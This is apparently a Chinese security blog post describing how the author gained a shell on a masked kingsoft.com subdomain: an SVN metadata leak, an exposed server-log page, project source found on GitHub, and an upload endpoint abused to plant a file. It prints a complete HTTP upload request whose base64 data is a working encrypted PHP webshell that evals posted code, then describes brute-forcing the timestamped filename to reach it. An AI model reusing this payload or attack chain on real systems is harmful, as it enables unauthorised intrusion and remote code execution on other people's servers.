挺有趣的一次挖洞过程,涉及到的挖洞水平不难,但是还是挺巧妙的,还是和大伙儿分享一下


外网打点

首先自然是子域名收集,发现存在一个很长的二级域名:

*打码*.kingsoft.com

因为是带着​xray​​扫的,所以直接发现​.svn/entries​​可访问,存在​SVN​​信息泄露,进一步利用,主要是访问​/.svn/wc.db​​可获取​svn​​数据库信息
​​db​文件可通过数据库读取软件打开,可以清晰看到网站文件结构:

记一次某山信息泄露+源码泄露getshell_php

发现存在服务器日志页面

https://*打码*.kingsoft.com/api/serverlog/index.php?p=7&t=2021-02-16

点击进入可看见服务器所有日志
以及各类服务器日志信息

在SVN数据翻找的过程中发现一个文件:​​showtrace.lua​

发现内网svn地址:​svn.funova.com

记一次某山信息泄露+源码泄露getshell_信息泄露_02

本着试试看的原则,在​github​中查了下有没有这个网站相关的信息,没想到竟看到一个熟悉的页面

记一次某山信息泄露+源码泄露getshell_信息泄露_03

经过与​SVN​泄露的文件对比验证,确定这就是该网站的项目源码!

赶快看看项目中的源码内容,看看有无利用点,正好发现存在个​upload.php

记一次某山信息泄露+源码泄露getshell_信息泄露_04

该PHP文件会在​save​​目录下创建一个通过​devid​与文件名首字符组合并字符串截断的目录,将文件名与时间拼接形成新的文件,调试确认会产生如下文件:

记一次某山信息泄露+源码泄露getshell_php_05

其中前面为日期,后面为小时-分钟-秒数

开始构造上传​payload​​,根据上传代码分析,文件内容需要经过一层​base64​​ Encode,把​shell​提前Encode一下即可:

POST /api/upload.php HTTP/1.1
Host: \*打码\*.kingsoft.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 873
Origin: https://\*打码\*.kingsoft.com
Connection: close
Referer: https://\*打码\*.kingsoft.com/
Cookie: KLBRSID=2387b10c7cb4bd825e562a8486ca1aab|1613457646|1613457626; PHPSESSID=84vuglos79g86dqip7o5l3un50

op=0&devid=1&fname=testhtml.php&data=PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3NoZW50b3V0ZXN0J10pKQp7CiAgICAka2V5PXN1YnN0cihtZDUodW5pcWlkKHJhbmQoKSkpLDE2KTsKICAgICRfU0VTU0lPTlsnayddPSRrZXk7CiAgICBwcmludCAka2V5Owp9CmVsc2UKewogICAgJGtleT0kX1NFU1NJT05bJ2snXTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRwKSB7ZXZhbCgkcC4iIik7fX0KCUBuZXcgQygkcGFyYW1zKTsKfQo/Pg==

上传返回200,但没有返回文件名

记一次某山信息泄露+源码泄露getshell_信息泄露_06

问题不大,因为我们已知文件名会根据时间命名,所以通过对文件名的时间部分进行爆破,即可得出文件名:

记一次某山信息泄露+源码泄露getshell_svn_07
​​webshell​连接成功:

记一次某山信息泄露+源码泄露getshell_网络安全_08

版权声明:本文为「gt4404gb」

原文链接:https://gt4404gb.com/archives/1278